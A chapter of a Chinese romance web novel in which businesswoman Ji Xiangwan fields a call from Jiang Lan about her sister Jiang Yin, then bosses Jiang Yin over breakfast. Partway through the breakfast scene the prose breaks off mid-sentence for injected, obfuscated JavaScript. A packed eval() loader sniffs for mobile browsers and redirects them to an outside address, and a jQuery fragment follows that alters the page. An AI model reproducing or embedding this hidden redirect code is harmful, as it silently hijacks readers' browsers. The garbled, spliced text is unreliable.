第二天清晨,七点。
一阵手机铃声突兀地在安静的卧室里响起,打破了清晨的宁静。
江吟还在跟周公约会,迷迷糊糊地翻了个身,把头埋进被子里试图隔绝噪音。
那是纪向晚的手机。
纪向晚几乎是在铃声响起的第一秒就睁开了眼。
她看了一眼旁边还在呼呼大睡的江吟,迅速拿起手机,按下了静音键。
看到来电显示上的“江澜”二字,她眉心微跳。
她没有立刻接听,而是先轻手轻脚地掀开被子下床,拿着手机走到了卧室外面的露台上,反手关上了落地窗,隔绝了声音。
清晨的风有些凉。
纪向晚理了理睡衣领口,划下接听键,声音清冷而克制:
“早,江总。”
“这么早打电话,没打扰你好梦吧?”
“有事说事。”
电话那头的江澜声音带着几分调侃,“你把我妹妹拐跑,我还不能多问问了?”
“是收留。”
纪向晚纠正道,语气公事公办,“她为了做实验把自己逼到了绝路,我作为江氏的合作伙伴,总不能看着她流落街头。”
“哼,说得好听。”
江澜轻笑一声,“你是看中她那个项目了吧?纪向晚,咱们虽然是朋友,但在商言商,那个罕见病的项目我也盯着呢。你这算不算截胡?”
“江总言重了。”
纪向晚推了推鼻梁上并不存在的眼镜,“项目还在初期,风险很大,我这是风险投资。如果江总有兴趣,以后也可以谈合作。”
“行了,不跟你绕弯子。”
江澜语气正经了几分,“吟吟那丫头性子倔,被家里宠坏了。她这次离家出走,家里人虽然嘴硬,但心里急得很。她在你那儿,我也放心。”
“不过……”
江澜话锋一转,“你可别惯着她。该管还得管。还有,关于联姻的事儿……”
纪向晚握着手机的手微微收紧。
“怎么?”
“那丫头不知道从哪听来的风言风语,认定联姻对象是个老女人,死活不肯回家了。”
江澜语气无奈,“我都不知道该怎么跟她解释,既然你们已经在一起了,方便的话,帮我劝劝她。”
纪向晚看着初升的太阳,嘴角勾起一抹意味深长的弧度。
劝劝她?
这怎么劝?
告诉她:你好,我就是那个老女人?
“江总。”
纪向晚声音低沉,“这件事,恐怕得让她自己慢慢发现,逼得太紧,她只会跑得更远。”
“也是。”那头的江澜叹了口气,“那就麻烦你多照顾了。对了,改天有空,我再去你那儿看看她。”
“随时欢迎。”
纪向晚客套了一句。
挂断电话,纪向晚看着屏幕,眼神有些深。
还好江澜还不知道她们领证的事。
如果让江澜知道她已经把人骗着领了证,估计下一秒人就杀到家里来了。
她收起手机,转身回到卧室。
床上,江吟还在熟睡。
被子被她踢掉了一半,露出一条白皙的小腿,整个人呈“大”字型霸占了床的中央。
纪向晚走到床边,居高临下地看着毫无睡相的江吟。
“死女人……”
江吟突然嘟囔了一句梦话,翻了个身,一把抱住了旁边的抱枕,还在上面蹭了蹭,“有钱了……砸晕你……”
纪向晚愣了一下,随即失笑。
连做梦都在想着砸晕自己?
她伸出手,指尖轻轻戳了戳江吟的脸颊,软软的,手感很好。
“砸晕我?”
纪向晚低声自语,眼底闪过一丝宠溺的光。
“那就要看你……有没有这个本事了。”
说完,纪向晚动作极轻的离开了卧室。
……
阳光穿透落地窗,毫无顾忌地洒在两米二的大床上。
江吟迷迷糊糊地想要翻身,却发现怀里沉甸甸的,像是有什么东西压着。
江吟睁开眼,终于看清了自己的处境。
她以一种极其霸道的姿势,占据了床的正中央。
至于原本睡在右边的纪向晚……
江吟伸手摸了摸身侧。
凉的。
空的。
“呼……”
江吟长出了一口气,呈大字型瘫回床上。
还好还好,虽然睡姿差,但至少醒来的时候没抱着对方,保住了最后的矜持。
她抓过床头的闹钟看了一眼。
八点半。
简单的洗漱过后,江吟趿拉着拖鞋,打着哈欠走出了主卧。
客厅里弥漫着一股淡淡的咖啡香气。
纪向晚并没有出门。
她坐在落地窗前的餐桌旁,换了一身剪裁利落的黑色衬衫,领口的扣子解开了两颗,露出一截冷白的颈线。
金丝眼镜架在高挺的鼻梁上,手里拿着平板电脑,正神情专注地浏览着什么。
阳光洒在她身上,让她整个人看起来既精英又禁欲。
听到脚步声,纪向晚头也没抬,修长的手指在屏幕上滑过:
“醒了?”
“嗯。”
江吟拉开对面的椅子坐下,视线落在餐桌上。
丰盛得有些过分。
西式煎蛋、烤得焦香
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123139|195993||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的培根、全麦吐司,还有一碗看起来就很养生的燕麦粥。
“这都是……阿姨做的?”江吟拿起叉子。
“阿姨做的。”
纪向晚放下平板,端起黑咖啡抿了一口,“不过菜单是我定的。”
她推了推眼镜,目光扫过江吟有些浮肿的眼睛,语气平淡:“你睡着做梦还在喊着要砸晕我,看来不仅是认床,潜意识里的暴力倾向也很严重。为了防止我的项目负责人因为精神衰弱倒下,我有义务监管你的饮食。”
江吟嘴角一抽。
万恶的资本家,连做个梦都要被监管。
而且……她真的说梦话了?还说要砸晕她?
太丢人了!
江吟决定用进食来掩饰尴尬。
她刚想伸手去拿那片看起来最诱人的培根,纪向晚的手指却轻轻在桌面上敲了两下。
“先喝粥。”
纪向晚淡淡道,“空腹吃油腻的不好。”
江吟的手顿在半空,逆反心理瞬间上来了:“我就想吃培根!我是成年人了,我有培根自由!”
“哦?”
纪向晚挑眉,也不跟她争辩,只是慢悠悠地拿过旁边的手机,作势要拨号,“那我问问顾教授,如果项目负责人因为肠胃炎请假,是不是会影响实验进度……”
“停!”
江吟一把抢过燕麦粥,“我喝!我喝还不行吗!”
她愤愤地舀了一大勺粥塞进嘴里,一边嚼一边在心里把纪向晚扎成了筛子。
这哪里是娶了个老婆?
这分明是找了个教导主任!
看着江吟气鼓鼓却又乖乖喝粥的样子,纪向晚眼底划过一丝极淡的笑意。
纪向晚看了看腕表,站起身来。
“我要去公司了。今天如果要去学校,记得别为了省钱不吃饭。”
江吟含着勺子,含糊不清地问:“你去公司?周末还加班?”
“赚钱养家。”
纪向晚拿起车钥匙,走到玄关换鞋。
临出门前,她像是想起了什么,回头看了一眼江吟:
“对了,今晚我有应酬,可能晚点回来。你自己解决晚饭,不用等我。”
“谁要等你了!”江吟翻了个白眼,“最好通宵别回来,我一个人睡大床更香!”
“是吗?”
纪向晚勾唇,意味深长地看了一眼卧室的方向,“希望今晚没人给你当抱枕,你也能睡得这么香。”
“砰。”
大门关上。
江吟咬着勺子,脸颊莫名有些发烫。
抱枕……
该死!昨晚做梦的时候,她好像确实抱着什么东西蹭了半天!
……